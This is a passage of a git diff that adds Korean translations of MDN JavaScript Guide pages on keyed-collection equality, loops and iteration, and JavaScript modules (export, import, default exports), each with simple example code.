+<p>Map객체의 key에 대한 동치성 비교와 Set객체의  값에 대한 동치성 비교 모두 "<a href="https://people.mozilla.org/~jorendorff/es6-draft.html#sec-samevaluezero">same-value-zero algorithm</a>"에 근거한다. </p>
+
+<ul>
+ <li>동치성 비교는 <code>=== 비교 연산과 같이 작동한다. </code></li>
+ <li>-0과 +0은 같다고 간주한다. </li>
+ <li>{{jsxref("NaN")}}는 자기 자신하고 같다고 간주한다. (===와는 반대로)</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</p>
diff --git a/files/ko/web/javascript/guide/loops_and_iteration/index.html b/files/ko/web/javascript/guide/loops_and_iteration/index.html
new file mode 100644
index 0000000000..4b0ac738b6
--- /dev/null
+++ b/files/ko/web/javascript/guide/loops_and_iteration/index.html
@@ -0,0 +1,332 @@
+---
+title: 루프와 반복
+slug: Web/JavaScript/Guide/Loops_and_iteration
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">루프는 어떤 것을 반복적으로 시행할때 빠르고 간편한 방법을 제공합니다. <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>의 이 항목은 JavaScript 에서 사용이 가능한 서로 다른 여러가지 반복문을 소개합니다.</p>
+
+<p>반복문을 게임의 컴퓨터화된 버전이라고 생각해 보세요. 누군가에게 한 방향으로 X만큼 가게 시키고 다른 방향으로 Y만큼 더 가게 한다고 생각해 보십시오. 예를들어, "동쪽으로 5만큼 가세요"는 다음과 같이 반복문으로 표현 될 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var step;
+for (step = 0; step &lt; 5; step++) {
+  // Runs 5 times, with values of step 0 through 4.
+  console.log('Walking east one step');
+}
+</pre>
+
+<p>반복문은 매우 다양한 종류가 있습니다. 하지만 반복문이 기본적으로 하는일은 모두 같습니다. 반복문은 한 동작을 여러 번 반복합니다. (사실 0회 반복하는 것도 가능합니다.) 다양한 반복문 메커니즘은 다양한 방법으로 반복문의 시작점과 끝나는 점을 정할 수 있습니다.</p>
+
+<p>자바스크립트가 지원하는 반복문은 다음과 같습니다:</p>
+
+<ul>
+ <li>{{anch("for 문")}}</li>
+ <li>{{anch("do...while 문")}}</li>
+ <li>{{anch("while 문")}}</li>
+ <li>{{anch("레이블 문")}}</li>
+ <li>{{anch("break 문")}}</li>
+ <li>{{anch("continue 문")}}</li>
+ <li>{{anch("for...in 문")}}</li>
+ <li>{{anch("for...of 문")}}</li>
+</ul>
+
+<h2 id="for_문"><code>for</code> 문</h2>
+
+<p>for 반복문은 어떤 특정한 조건이 거짓으로 판별될 때까지 반복합니다. 자바스크립트의 반복문은 C의 반복문과 비슷합니다. for 반복문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">for ([초기문]; [조건문]; [증감문])
+  문장
+</pre>
+
+<p>for문이 실행될 때, 다음과 같이 실행됩니다.:</p>
+
+<ol>
+ <li>초기화 구문인 초기문이 존재한다면 초기문이 실행됩니다. 이 표현은 보통 1이나 반복문 카운터로 초기 설정이 됩니다. 그러나 복잡한 구문으로 표현 될 때도 있습니다. 또한 변수로 선언 되기도 합니다.</li>
+ <li>조건문은 조건을 검사합니다. 만약 조건문이 참이라면, 그 반복문은 실행됩니다. 만약 조건문이 거짓이라면, 그 for문은 종결됩니다. 만약 그 조건문이 생략된다면, 그 조건문은 참으로 추정됩니다.</li>
+ <li>문장이 실행됩니다. 많은 문장을 실행할 경우엔, { } 를 써서 문장들을 묶어 줍니다.</li>
+ <li>갱신 구문인 증감문이 존재한다면 실행되고 2번째 단계로 돌아갑니다.</li>
+</ol>
+
+<h3 id="예시"><strong>예시</strong></h3>
+
+<p>다음 함수는 스크롤링 목록(다중 선택을 허용하는 요소 {{HTMLElement("select")}}). 에서 선택된 옵션들을 세는 for문 입니다. 이 for문은 변수 i 를 선언하고 0으로 초기화 시킵니다. 이것은 i 가  &lt;select&gt; 요소 안의 옵션 수가 i 보다 작은지 확인 합니다. 다음의 if문을 수행하고 각 루프를 빠져나간 뒤 i 를 1 증가시킵니다.</p>
+
+<pre class="brush: html notranslate">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Choose some music types, then click the button below:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="How many are selected?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+  var numberSelected = 0;
+  for (var i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      numberSelected++;
+    }
+  }
+  return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Number of options selected: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="do...while_문"><code>do...while</code> 문</h2>
+
+<p>do...while 문은 특정한 조건이 거짓으로 판별될 때까지 반복합니다. do...while 문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">do
+  문장
+while (조건문);
+</pre>
+
+<p><code>조건문을 확인하기 전에 문장은 한번 실행됩니다. 많은 문장을 실행하기 위해선 { }를 써서 문장들을 묶어줍니다. 만약 조건이 참이라면, 그 문장은 다시 실행됩니다. 매 실행 마지막마다 조건문이 확인됩니다. 만약 조건문이 거짓일 경우, 실행을 멈추고 do...while 문 바로 아래에 있는 문장으로 넘어가게 합니다.</code></p>
+
+<h3 id="예시_2"><strong>예시</strong></h3>
+
+<p>다음 예제에서, do 반복문은 최소 한번은 반복됩니다. 그리고 i 가 5보다 작지 않을 때까지 계속 반복됩니다.</p>
+
+<pre class="brush: js notranslate">do {
+  i += 1;
+  console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="while_문"><code>while</code> 문</h2>
+
+<p>while 문은 어떤 조건문이 참이기만 하면 문장을 계속해서 수행합니다. while 문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">while (조건문)
+  문장
+</pre>
+
+<p>만약 조건문이 거짓이 된다면, 그 반복문 안의 문장은 실행을 멈추고 반복문 바로 다음의 문장으로 넘어갑니다.</p>
+
+<p>조건문은 반복문 안의 문장이 실행되기 전에 확인 됩니다. 만약 조건문이 참으로 리턴된다면, 문장은 실행되고 그 조건문은 다시 판별됩니다. 만약 조건문이 거짓으로 리턴된다면, 실행을 멈추고 while문 바로 다음의 문장으로 넘어가게 됩니다.</p>
+
+<p>많은 문장들을 실행하기 위해선, { }를 써서 문장들을 묶어줍니다.</p>
+
+<h3 id="예시_1"><strong>예시 1</strong></h3>
+
+<p>다음 while 반복문은 n이 3보다 작은 한, 계속 반복됩니다.</p>
+
+<pre class="brush: js notranslate">n = 0;
+x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>매 반복과 함께, n이 증가하고 x에 더해집니다. 그러므로, x와 n은 다음과 같은 값을 갖습니다.</p>
+
+<ul>
+ <li>첫번째 경과 후: <code>n</code> = 1 and <code>x</code> = 1</li>
+ <li>두번째 경과 후: <code>n</code> = 2 and <code>x</code> = 3</li>
+ <li>세번째 경과 후: <code>n</code> = 3 and <code>x</code> = 6</li>
+</ul>
+
+<p>세번째 경과 후에, n &lt; 3 은 더이상 참이 아니므로, 반복문은 종결됩니다.</p>
+
+<h3 id="예시_2_2"><strong>예시 2</strong></h3>
+
+<p>조건문은 항상 거짓이 될지라도 무한 루프는 피해야 합니다. 그렇지 않으면 그 반복문은 영원히 끝나지 않을 것입니다. 아래의 while 문은 조건문이 절대 거짓이 될 수 없으므로 영원히 반복될 것입니다.</p>
+
+<pre class="brush: js notranslate">// 다음과 같은 코드는 피하세요.
+while (true) {
+  console.log("Hello, world");
+}</pre>
+
+<h2 id="레이블_문">레이블 문</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">레이블</a>은 여러분이 프로그램에서 다른 곳으로 참조할 수 있도록 식별자로 문을 제공합니다. 예를 들어, 여러분은 루프를 식별하기 위해 레이블을 사용하고, 프로그램이 루프를 방해하거나 실행을 계속할지 여부를 나타내기 위해 break나 continue 문을 사용할 수 있습니다.</p>
+
+<p>레이블 문의 구문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox notranslate">label :
+   statement
+</pre>
+
+<p><em><font face="Consolas">레이블</font></em>  값은 예약어가 아닌 임의의 JavaScript 식별자일 수 있습니다. 여러분이 레이블을 가지고 식별하는 <em><font face="Consolas">문</font></em>은 어떠한 문이 될 수 있습니다.</p>
+
+<h3 id="예시_3"><strong>예시</strong></h3>
+
+<p>이 예에서, 레이블 markLoop는 while 루프를 식별합니다.</p>
+
+<pre class="brush: js notranslate">markLoop:
+while (theMark == true) {
+   doSomething();
+}</pre>
+
+<h2 id="break_문"><code>break</code> 문</h2>
+
+<p>break문은 반복문, switch문, 레이블 문과 결합한 문장을 빠져나올  때 사용합니다.</p>
+
+<ul>
+ <li>레이블 없이 break문을 쓸 때: 가장 가까운 <code>while</code>, <code>do-while</code>, <code>for</code>, 또는 <code>switch</code>문을 종료하고 다음 명령어로 넘어갑니다.</li>
+ <li>레이블 문을 쓸 때: 특정 레이블 문에서 끝납니다.</li>
+</ul>
+
+<p>break문의 문법은 다음과 같습니다.</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>[레이블]</em>;</code></li>
+</ol>
+
+<p>break문의 첫번째 형식은 가장 안쪽의 반복문이나 switch문을 빠져나옵니다. 두번째 형식는 특정한 레이블 문을 빠져나옵니다.</p>
+
+<h3 id="예시_1_2"><strong>예시</strong> <strong>1</strong></h3>
+
+<p>다음 예</p>
+
+<pre class="brush: js notranslate">for (i = 0; i &lt; a.length; i++) {
+  if (a[i] == theValue) {
+    break;
+  }
+}</pre>
+
+<h3 id="예시_2_Breaking_to_a_label"><strong>예시 2: </strong>Breaking to a label</h3>
+
+<pre class="brush: js notranslate">var x = 0;
+var z = 0
+labelCancelLoops: while (true) {
+  console.log("Outer loops: " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Inner loops: " + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelCancelLoops;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+</pre>
+
+<h2 id="continue_문">continue 문</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> 문은 while, do-while, for, 레이블 문을 다시 시작하기 위해 사용될 수 있습니다.</p>
+
+<ul>
+ <li>레이블없이 continue를 사용하는 경우, 그것은 가장 안쪽의 while, do-while, for 문을 둘러싼 현재 반복을 종료하고, 다음 반복으로 루프의 실행을 계속합니다. <font face="Consolas">break</font>문과 달리, continue 문은 전체 루프의 실행을 종료하지 않습니다. while 루프에서 그것은 다시 조건으로 이동합니다. for 루프에서 그것은 증가 표현으로 이동합니다.</li>
+ <li>레이블과 함께 continue를 사용하는 경우, continue는 그 레이블로 식별되는 루프 문에 적용됩니다.</li>
+</ul>
+
+<p>continue 문의 구문은 다음과 같습니다:</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue </code><em><code>label;</code></em></li>
+</ol>
+
+<h3 id="예시_1_3"><strong>예시 1</strong></h3>
+
+<p>다음의 예는 i 값이 3일 때 실행하는 continue 문과 함께 while 루프를 보여줍니다. 따라서, n은 값 1, 3, 7, 12를 취합니다.</p>
+
+<pre class="brush: js notranslate">i = 0;
+n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i == 3) {
+    continue;
+  }
+  n += i;
+}
+</pre>
+
+<h3 id="예시_2_3"><strong>예시 2</strong></h3>
+
+<p>checkiandj 레이블 문은 checkj 레이블 문을 포함합니다. continue가 발생하는 경우, 프로그램은 checkj의 현재 반복을 종료하고, 다음 반복을 시작합니다. 그 조건이 false를 반환 할 때까지 continue가 발생할 때마다, checkj는 반복합니다. false가 반환될 때, checkiandj 문의 나머지 부분은 완료되고, 그 조건이 false를 반환 할 때까지 checkiandj는 반복합니다. false가 반환될 때, 이 프로그램은 다음 checkiandj 문에서 계속됩니다.</p>
+
+<p>continue가 checkiandj의 레이블을 가지고 있다면, 프로그램은 checkiandj 문 상단에서 계속될 것입니다.</p>
+
+<pre class="brush: js notranslate">checkiandj:
+  while (i &lt; 4) {
+    console.log(i);
+    i += 1;
+    checkj:
+      while (j &gt; 4) {
+        console.log(j);
+        j -= 1;
+        if ((j % 2) == 0) {
+          continue checkj;
+        }
+        console.log(j + " is odd.");
+      }
+      console.log("i = " + i);
+      console.log("j = " + j);
+  }</pre>
+
+<h2 id="for...in_문"><code>for...in</code> 문</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>  문은 객체의 열거 속성을 통해 지정된 변수를 반복합니다. 각각의 고유한 속성에 대해, JavaScript는 지정된 문을 실행합니다. for...in 문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox notranslate">for (variable in object) {
+  statements
+}
+</pre>
+
+<h3 id="예시_4"><strong>예시</strong></h3>
+
+<p>다음 함수는 객체와 객체의 이름을 함수의 인수로 취합니다. 그런 다음 모든 객체의 속성을 반복하고 속성 이름과 값을 나열하는 문자열을 반환합니다.</p>
+
+<pre class="brush: js notranslate">function dump_props(obj, obj_name) {
+  var result = "";
+  for (var i in obj) {
+    result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+  }
+  result += "&lt;hr&gt;";
+  return result;
+}
+</pre>
+
+<p>속성 make와 model을 가진 객체 car의 경우, 결과는 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="배열"><strong>배열</strong></h3>
+
+<p>{{jsxref("배열")}} 요소를 반복하는 방법으로 이를 사용하도록 유도될 수 있지만, <strong>for...in</strong> 문은 숫자 인덱스에 추가하여 사용자 정의 속성의 이름을 반환합니다. 따라서 만약 여러분이 사용자 정의 속성 또는 메서드를 추가하는 등 Array 객체를 수정한다면, 배열 요소 이외에도 사용자 정의 속성을 통해 <strong>for...in</strong> 문을 반복하기 때문에, 배열을 통해 반복할 때 숫자 인덱스와 전통적인 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> 루프를 사용하는 것이 좋습니다.</p>
+
+<h2 id="for...of_문"><code>for...of</code> 문</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 문은 각각의 고유한 특성의 값을 실행할 명령과 함께 사용자 지정 반복 후크를 호출하여, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">반복 가능한 객체</a>({{jsxref("배열")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">인수</a> 객체 등을 포함)를 통해 반복하는 루프를 만듭니다.</p>
+
+<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>object</em>) {
+  <em>statement
+</em>}</pre>
+
+<p>다음 예는 for...of 루프와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> 루프의 차이를 보여줍니다. 속성 이름을 통해 for...in이 반복하는 동안, for...of은 속성 값을 통해 반복합니다:</p>
+
+<pre class="brush:js notranslate">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+   console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // logs "3", "5", "7"
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/ko/web/javascript/guide/modules/index.html b/files/ko/web/javascript/guide/modules/index.html
new file mode 100644
index 0000000000..b52283a0fc
--- /dev/null
+++ b/files/ko/web/javascript/guide/modules/index.html
@@ -0,0 +1,414 @@
+---
+title: JavaScript modules
+slug: Web/JavaScript/Guide/Modules
+translation_of: Web/JavaScript/Guide/Modules
+---
+<div>{{jsSidebar("JavaScript Guide")}}{{Previous("Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p>이 가이드는 자바스크립트 모듈 구문을 시작하는데 필요한 모든 것을 제공합니다.</p>
+
+<h2 id="A_background_on_modules">A background on modules</h2>
+
+<p>자바스크립트 프로그램은 꽤 작게 시작되었습니다. 초기에 사용 된 대부분의 스크립트는 독립적인 작업을 수행하여, 필요한 경우 웹 페이지에 약간의 상호 작용을 제공하므로 일반적으로 큰 스크립트가 필요하지 않았습니다. 몇년 후 자바스크립트는 많은 브라우저에서 실행되고 있는 완전한 애플리케이션을 실행할 수 있을 뿐 아니라,  다른 컨텍스트에서 (예를들면 <a href="/en-US/docs/Glossary/Node.js">Node.js</a>) 자바스크립트를 사용하게 됩니다.</p>
+
+<p>따라서 최근 몇 년 동안 자바스크립트 프로그램을 필요에 따라 가져올 수 있는, 별도의 모듈로 분할하기 위한 매커니즘을 제공하는 것에 대해 생각하기 시작했습니다.  node.js는 오랫동안 이러한 능력을 가지고 있었고, 모듈 사용을 가능하게하는 많은 자바스크립트 라이브러리와 프레임워크가 있습니다. (예를들어 <a href="https://requirejs.org/">RequireJS</a>와 같은 <a href="https://en.wikipedia.org/wiki/CommonJS">CommonJS</a> 와 <a href="https://github.com/amdjs/amdjs-api/blob/master/AMD.md">AMD</a>기반 모듈 시스템, 더 최근에는 <a href="https://webpack.github.io/">Webpack</a>과 <a href="https://babeljs.io/">Babel</a> 같은 모듈 기반 시스템이 있습니다.)</p>
+
+<p>좋은 소식은 최신 브라우저가 기본적으로 모듈 기능을 지원하기 시작했으며, 이것이 이 기사의 전부입니다. 브라우저는 모듈의 로딩을 최적화 할 수 있기 때문에 라이브러리를 사용하는 것보다 더 효율적이며, 클라이언트 측에서의 추가 처리와 여분의 왕복을 모두 해야하는 것 보다 효율적입니다.</p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>네이티브 자바스크립트 모듈은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code>와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> 문(statement)에 의존적이며, 호환성은 다음과 같습니다.</p>
+
+<h3 id="import">import</h3>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="export">export</h3>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Introducing_an_example">Introducing an example</h2>
+
+<p>모듈 사용법을 설명하기 위해 Github에 <a href="https://github.com/mdn/js-examples/tree/master/modules">간단한 예제 모음</a>을 만들었습니다. 이 예제들은 웹 페이지에 {{htmlelement("canvas")}} 요소(element)를 만들고, 캔버스에 다양한 도형을 그리고, 그린것에 대한 정보를 보고하는 간단한 모듈 집합입니다.</p>
+
+<p>이것들은 매우 사소한 것이지만, 모듈을 명확하게 설명하기 의해 의도적으로 단순하게 유지중입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 예제를 다운로드하여 로컬에서 실행하려면, 로컬 웹 서버를 통해 예제를 실행해야 합니다.</p>
+</div>
+
+<h2 id="Basic_example_structure">Basic example structure</h2>
+
+<p>첫 번째 예제(<a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>)를 보면 다음과 같은 파일 구조가 있습니다.</p>
+
+<pre class="notranslate">index.html
+main.js
+modules/
+    canvas.js
+    square.js</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 이 가이드의 모든 예제는 기본적으로 동일한 구조를 가집니다. 위의 내용에 익숙해지시는게 좋습니다.</p>
+</div>
+
+<p>modules 디렉토리의 두 모듈은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>canvas.js</code> — 캔버스 설정과 관련된 기능을 포함합니다.
+
+  <ul>
+   <li><code>create()</code> — 지정한 ID를 가진 래퍼 {{htmlelement("div")}} 안에, 지정한 <code>width</code> 와 <code>height</code> 를 가진 캔버스를 생성합니다. 지정한 ID(첫 번째 인자)는 지정한 부모 요소(두 번째 인자)안에 추가됩니다. 캔버스의 2D 컨텍스트와 래퍼(wrapper div)의 ID가 들어있는 객체를 반환합니다.</li>
+   <li><code>createReportList()</code> — 데이터를 출력하는데 사용할 수 있는, 지정한 래퍼 요소(div) 안에 추가 된 정렬되지 않은 리스트(ul)를 만듭니다. 리스트의 ID를 반환합니다.</li>
+  </ul>
+ </li>
+ <li><code>square.js</code> — 다음을 포함합니다.
+  <ul>
+   <li><code>name</code> — 문자열 'square'를 담고있는 상수입니다.</li>
+   <li><code>draw()</code> — 지정된 크기, 위치, 색상을 사용하여 지정된 캔버스에 사각형을 그립니다. 사각형의 크기, 위치, 색상을 포함하는 객체를 반환합니다.</li>
+   <li><code>reportArea()</code> — 길이가 주어지면 사각형의 넓이를 지정한 보고서 리스트에 작성합니다.</li>
+   <li><code>reportPerimeter()</code> — 길이가 주어지면 사각형의 둘레를 지정한 보고서 리스트에 작성합니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Exporting_module_features">Exporting module features</h2>
+
+<p>모듈 기능을 사용하려면 먼저 함수를 export 해야 합니다. 이 작업은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> 문(statement)을 사용하여 수행합니다.</p>
+
+<p>이를 사용하는 가장 쉬운 방법은 모듈 밖으로 내보내려는 항목 앞에 (export를) 배치하는 것입니다. 예를들면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">export const name = 'square';
+
+export function draw(ctx, length, x, y, color) {
+  ctx.fillStyle = color;
+  ctx.fillRect(x, y, length, length);
+
+  return {
+    length: length,
+    x: x,
+    y: y,
+    color: color
+  };
+}</pre>
+
+<p>functions, <code>var</code>, <code>let</code>, <code>const</code>, class를 내보낼 수 있지만, 최상위 항목이어야 합니다. 예를들어, 함수 안에서 <code>export</code>를 사용할 수 없습니다.</p>
+
+<p>여러 항목을 내보내는 더 편리한 방법은 모듈 파일 끝에 하나의 export 문을 사용하는 것입니다. 그 다음에 내보내려는 기능들을 쉼표로 구분하여 나열하고 중괄호로 묶습니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<h2 id="Importing_features_into_your_script">Importing features into your script</h2>
+
+<p>모듈에서 일부 기능을 내보낸 후에는, 이를 사용할 수 있도록 우리가 사용할 스크립트로 가져와야 합니다. 가장 간단한 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> 문(statement)을 사용하고, 가져올 목록을 쉼표로 구분하여 나열한 뒤 괄호로 묶습니다. 그 뒤에는 from을 쓰고 모듈 파일의 경로를 작성합니다. (사이트 루트에 연관된 경로로, 우리의 <code>basic-modules</code> 예제는 <code>/js-examples/modules/basic-modules</code> 입니다) <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>에서 이러한 코드를 볼 수 있습니다.</p>
+
+<p>그러나 우리는 경로를 조금 다르게 작성했습니다. 우리는 "현재 위치"를 의미하는 점(.) 구문을 사용하고 있으며, 그 다음에 찾고자하는 파일의 경로를 뒤에 써 줍니다. 이것은 상대적으로 전체 상대 경로를 작성하는 것보다 훨씬 빠르며, URL이 더 짧아 지므로 사이트 계층 구조의 다른 위치로 이동하더라도 이 예제가 계속 작동합니다.</p>
+
+<p>예를들면,</p>
+
+<pre class="notranslate"><code>/js-examples/modules/basic-modules/modules/square.js</code></pre>
+
+<p>이렇게 쓸 수 있습니다.</p>
+
+<pre class="notranslate"><code>./modules/square.js</code></pre>
+
+<p><code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>에서 이러한 코드를 볼 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 일부 모듈 시스템에서는 파일 확장명을 생략할 수 있습니다. (예: <code>'/modules/square'</code>). 이것은 네이티브 자바스크립트에서는 작동하지 않습니다. 또한 앞에 슬래시를 포함해야 합니다.</p>
+</div>
+
+<p>우리의 스크립트에 기능을 가져오면 동일한 파일 내에 정의한 것처럼 기능을 사용할 수 있습니다. 다음은 <code>main.js</code> 의 import 행 아래에 있습니다.</p>
+
+<pre class="brush: js notranslate">let myCanvas = create('myCanvas', document.body, 480, 320);
+let reportList = createReportList(myCanvas.id);
+
+let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue');
+reportArea(square1.length, reportList);
+reportPerimeter(square1.length, reportList);
+</pre>
+
+<h2 id="Applying_the_module_to_your_HTML">Applying the module to your HTML</h2>
+
+<p>이제 <code>main.js</code> 모듈을 HTML 페이지에 적용하면 됩니다. 이는 몇 가지 주목할만한 차이점을 제외하면 HTML페이지에 일반 스크립트를 적용하는것과 매우 유사합니다.</p>
+
+<p>이 스크립트를 모듈로 선언하려면 {{htmlelement("script")}} 요소(element)에 <code>type="module"</code> 을 포함시켜야 합니다.</p>
+
+<pre class="brush: js notranslate">&lt;script type="module" src="main.js"&gt;&lt;/script&gt;</pre>
+
+<p>기본적으로 모듈 기능을 가져오는 스크립트는 최상위 모듈로 작동합니다. 이를 생략하면 파이어폭스로 예를들면, "SyntaxError: import declarations may only appear at top level of a module"라는 오류를 줍니다.</p>
+
+<p><code>import</code> 와 <code>export</code> 문(statement)은 모듈 내에서만 사용할 수 있습니다. 정규 스크립트가 아닙니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>type="module"</code>을 포함하면 인터널 스크립트에서도 import 모듈을 사용할 수 있습니다. 예: <code>&lt;script type="module"&gt; /* 여기에 코드를 작성하세요 */ &lt;/script&gt;</code>.</p>
+</div>
+
+<h2 id="Other_differences_between_modules_and_standard_scripts">Other differences between modules and standard scripts</h2>
+
+<ul>
+ <li>로컬 테스트에서의 주의 사항 — HTML파일을 로컬(예를들어 <code>file://</code> URL)에서 로드하려고 하면, 자바스크립트 모듈 보안 요구 사항으로 인해 CORS오류가 발생합니다. 서버를 통해 테스트 해야 합니다.</li>
+ <li>표준 스크립트와 달리 모듈 내부에서 정의된 스크립트 섹션과는 다르게 동작할 수 있습니다. 이는 모듈이 자동적으로 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>를 사용하기 때문입니다.</li>
+ <li>모듈 스크립트를 불러올 때 <code>defer</code> 속성(<a href="/ko/docs/Web/HTML/Element/script#Attributes"><code>&lt;script&gt;</code> attributes</a>)를 사용할 필요가 없습니다. 모듈은 자동으로 defer됩니다.</li>
+ <li>마지막으로 모듈 기능을 단일 스크립트의 스코프로 가져왔음을 분명히 해야 합니다. — 전역 스코프에서는 사용할 수 없습니다. 따라서 import한 스크립트에서 가져온 기능에만 접근할 수 있습니다. 예를들어 자바스크립트 콘솔에서 접근할 수 없습니다. DevTools에 구문 오류가 표시되지만, 사용하려고 하는 디버깅 기술 중 일부는 사용할 수 없습니다.</li>
+</ul>
+
+<h2 id="Default_exports_versus_named_exports">Default exports versus named exports</h2>
+
+<p>지금까지 우리가 export 한 기능은 <strong>named exports</strong> 로 구성되었습니다. 각 항목(function, <code>const</code> 등)은 export 할 때 이름으로 참조되었으며, import 할 때에 이 이름을 참조하여 사용합니다.</p>
+
+<p>그 외에도 <strong>default export</strong> 라고 부르는 export 도 있습니다. 이것은 모듈이 제공하는 기본 기능을 쉽게 만들 수 있도록 설계되었습니다. 또한 자바스크립트 모듈을 기존의 CommonJS 와 AMD 모듈 시스템과 함께 사용(interpolate)하는데도 도움이 됩니다. (Jason Orendorff에 의해 작성된 <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 In Depth: Modules</a> 에 설명되어있습니다. "Default exports"를 검색해보세요)</p>
+
+<p>예제를 가지고 어떻게 작동하는지 살펴보겠습니다. 예제 중 basic-modules 프로젝트의 <code>square.js</code> 파일에서 임의의 색상, 크기, 위치로 갖는 사각형을 만드는 <code>randomSquare()</code> 라는 함수를 찾을 수 있습니다. 이것을 기본값으로 export하려고 하므로, 파일의 맨 아래에 다음과 같이 씁니다.</p>
+
+<pre class="brush: js notranslate">export default randomSquare;</pre>
+
+<p>중괄호가 없음에 주의하세요.</p>
+
+<p>대신 함수 앞에 <code>export default</code> 를 추가하고, 다음과 같이 익명함수로 선언할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">export default function(ctx) {
+  ...
+}</pre>
+
+<p><code>main.js</code> 파일에서 다음 코드처럼 사용하면, default function이 import 됩니다.</p>
+
+<pre class="brush: js notranslate">import randomSquare from './modules/square.js';</pre>
+
+<p>다시 말하지만, 중괄호가 없다는 점에 유의하세요. 하나의 모듈은 하나의 default export만 허용하기 때문에 우리는 <code>randomSquare</code> 가 해당 모듈임을 알 수 있습니다. 위의 코드는 아래의 코드를 단축하여 사용한 것입니다.</p>
+
+<pre class="brush: js notranslate">import {default as randomSquare} from './modules/square.js';</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: export한 항목의 이름을 바꾸는 구문은 {{anch("Renaming imports and exports")}} 섹션에서 설명합니다.</p>
+</div>
+
